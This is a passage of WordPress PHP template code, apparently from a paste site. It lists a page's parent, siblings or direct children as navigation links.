- $page_idaray = explode(",",$pages_to_get);
- //output page title and link from page_id array
- foreach($page_idaray as $page_title)
- {
- echo '<li><a href="'.get_the_permalink($page_title).'">'.get_the_title($page_title).'</a></li>';
- }
- }
- }
- } else {
- if($post->post_parent){
- // get a list of all the children of the parent page
- $pages = get_pages(array('child_of'=>$post->post_parent));
- if ($pages) {
- // get the ids for the pages in a comma-delimited string
- foreach ($pages as $page)
- $page_ids[] = $page->ID;
- $siblings = implode(',',$page_ids);
- // $pages_to_get is a string with all the ids we want to get, i.e. parent & siblings
- $pages_to_get = $post->post_parent.','.$siblings;
- // use "include" to get only the pages in our $pages_to_get
- $children = wp_list_pages("include=".$pages_to_get."&echo=0");
- }
- }
- else{
- // get pages that direct children of this page: depth=1
- $children = wp_list_pages("title_li=&child_of=".$post->ID."&depth=1&echo=0");
- }
- // display the children:
- if ($children) {
- echo '<li><a href="' . get_the_permalink($parent[1]) . '">' . get_the_title($parent[1]) . '</a></li>';
- echo $children;
- }
- }
- ?>
- </ul>
Advertisement
Add Comment
Please, Sign In to add comment